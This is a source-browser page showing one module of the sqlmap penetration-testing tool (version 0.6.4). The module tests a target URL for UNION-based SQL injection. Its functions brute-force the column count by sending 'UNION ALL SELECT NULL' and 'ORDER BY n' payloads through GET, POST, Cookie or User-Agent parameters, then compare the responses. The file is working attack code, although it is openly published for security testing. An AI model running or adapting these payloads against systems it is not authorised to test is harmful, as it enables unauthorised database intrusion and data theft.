~ubuntu-branches/ubuntu/vivid/sqlmap/vivid

« back to all changes in this revision

Viewing changes to lib/techniques/inband/union/test.py

  • Committer: Bazaar Package Importer
  • Author(s): Bernardo Damele A. G.
  • Date: 2009-02-03 23:30:00 UTC
  • Revision ID: james.westby@ubuntu.com-20090203233000-8gpnwfbih0wnqtv5
Tags: upstream-0.6.4
ImportĀ upstreamĀ versionĀ 0.6.4

Show diffs side-by-side

added added

removed removed

Lines of Context:
 
1
#!/usr/bin/env python
 
2
 
 
3
"""
 
4
$Id: test.py 327 2009-01-12 21:35:38Z inquisb $
 
5
 
 
6
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
 
7
 
 
8
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
 
9
                        and Daniele Bellucci <daniele.bellucci@gmail.com>
 
10
 
 
11
sqlmap is free software; you can redistribute it and/or modify it under
 
12
the terms of the GNU General Public License as published by the Free
 
13
Software Foundation version 2 of the License.
 
14
 
 
15
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
 
16
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 
17
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
 
18
details.
 
19
 
 
20
You should have received a copy of the GNU General Public License along
 
21
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
 
22
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
23
"""
 
24
 
 
25
 
 
26
 
 
27
from lib.core.agent import agent
 
28
from lib.core.data import conf
 
29
from lib.core.data import kb
 
30
from lib.core.data import logger
 
31
from lib.core.data import queries
 
32
from lib.core.session import setUnion
 
33
from lib.request.connect import Connect as Request
 
34
 
 
35
 
 
36
def __forgeUserFriendlyValue(payload):
 
37
    value = ""
 
38
 
 
39
    if kb.injPlace == "GET":
 
40
        value = "%s?%s" % (conf.url, payload)
 
41
    elif kb.injPlace == "POST":
 
42
        value  = "URL:\t'%s'" % conf.url
 
43
        value += "\nPOST:\t'%s'\n" % payload
 
44
    elif kb.injPlace == "Cookie":
 
45
        value  = "URL:\t'%s'" % conf.url
 
46
        value += "\nCookie:\t'%s'\n" % payload
 
47
    elif kb.injPlace == "User-Agent":
 
48
        value  = "URL:\t\t'%s'" % conf.url
 
49
        value += "\nUser-Agent:\t'%s'\n" % payload
 
50
 
 
51
    return value
 
52
 
 
53
 
 
54
def __unionTestByNULLBruteforce(comment):
 
55
    """
 
56
    This method tests if the target url is affected by an inband
 
57
    SQL injection vulnerability. The test is done up to 50 columns
 
58
    on the target database table
 
59
    """
 
60
 
 
61
    columns = None
 
62
    value   = None
 
63
    query   = agent.prefixQuery(" UNION ALL SELECT NULL")
 
64
 
 
65
    for count in range(0, 50):
 
66
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
 
67
            query = query[:-len(" FROM DUAL")]
 
68
 
 
69
        if count:
 
70
            query += ", NULL"
 
71
 
 
72
        if kb.dbms == "Oracle":
 
73
            query += " FROM DUAL"
 
74
 
 
75
        commentedQuery = agent.postfixQuery(query, comment)
 
76
        payload        = agent.payload(newValue=commentedQuery)
 
77
        seqMatcher     = Request.queryPage(payload, getSeqMatcher=True)
 
78
 
 
79
        if seqMatcher >= 0.6:
 
80
            columns = count + 1
 
81
            value   = __forgeUserFriendlyValue(payload)
 
82
 
 
83
            break
 
84
 
 
85
    return value, columns
 
86
 
 
87
 
 
88
def __unionTestByOrderBy(comment):
 
89
    columns = None
 
90
    value   = None
 
91
 
 
92
    for count in range(1, 51):
 
93
        query        = agent.prefixQuery(" ORDER BY %d" % count)
 
94
        orderByQuery = agent.postfixQuery(query, comment)
 
95
        payload      = agent.payload(newValue=orderByQuery)
 
96
        seqMatcher   = Request.queryPage(payload, getSeqMatcher=True)
 
97
 
 
98
        if seqMatcher >= 0.6:
 
99
            columns = count
 
100
 
 
101
        elif columns:
 
102
            value = __forgeUserFriendlyValue(prevPayload)
 
103
 
 
104
            break
 
105
 
 
106
        prevPayload = payload
 
107
 
 
108
    return value, columns
 
109
 
 
110
 
 
111
def unionTest():
 
112
    """
 
113
    This method tests if the target url is affected by an inband
 
114
    SQL injection vulnerability. The test is done up to 3*50 times
 
115
    """
 
116
 
 
117
    if conf.uTech == "orderby":
 
118
        technique = "ORDER BY clause bruteforcing"
 
119
    else:
 
120
        technique = "NULL bruteforcing"
 
121
 
 
122
    logMsg  = "testing inband sql injection on parameter "
 
123
    logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
 
124
    logger.info(logMsg)
 
125
 
 
126
    value   = ""
 
127
    columns = None
 
128
 
 
129
    for comment in (queries[kb.dbms].comment, ""):
 
130
        if conf.uTech == "orderby":
 
131
            value, columns = __unionTestByOrderBy(comment)
 
132
        else:
 
133
            value, columns = __unionTestByNULLBruteforce(comment)
 
134
 
 
135
        if columns:
 
136
            setUnion(comment, columns)
 
137
 
 
138
            break
 
139
 
 
140
    if kb.unionCount:
 
141
        logMsg  = "the target url could be affected by an "
 
142
        logMsg += "inband sql injection vulnerability"
 
143
        logger.info(logMsg)
 
144
    else:
 
145
        warnMsg  = "the target url is not affected by an "
 
146
        warnMsg += "inband sql injection vulnerability"
 
147
        logger.warn(warnMsg)
 
148
 
 
149
    return value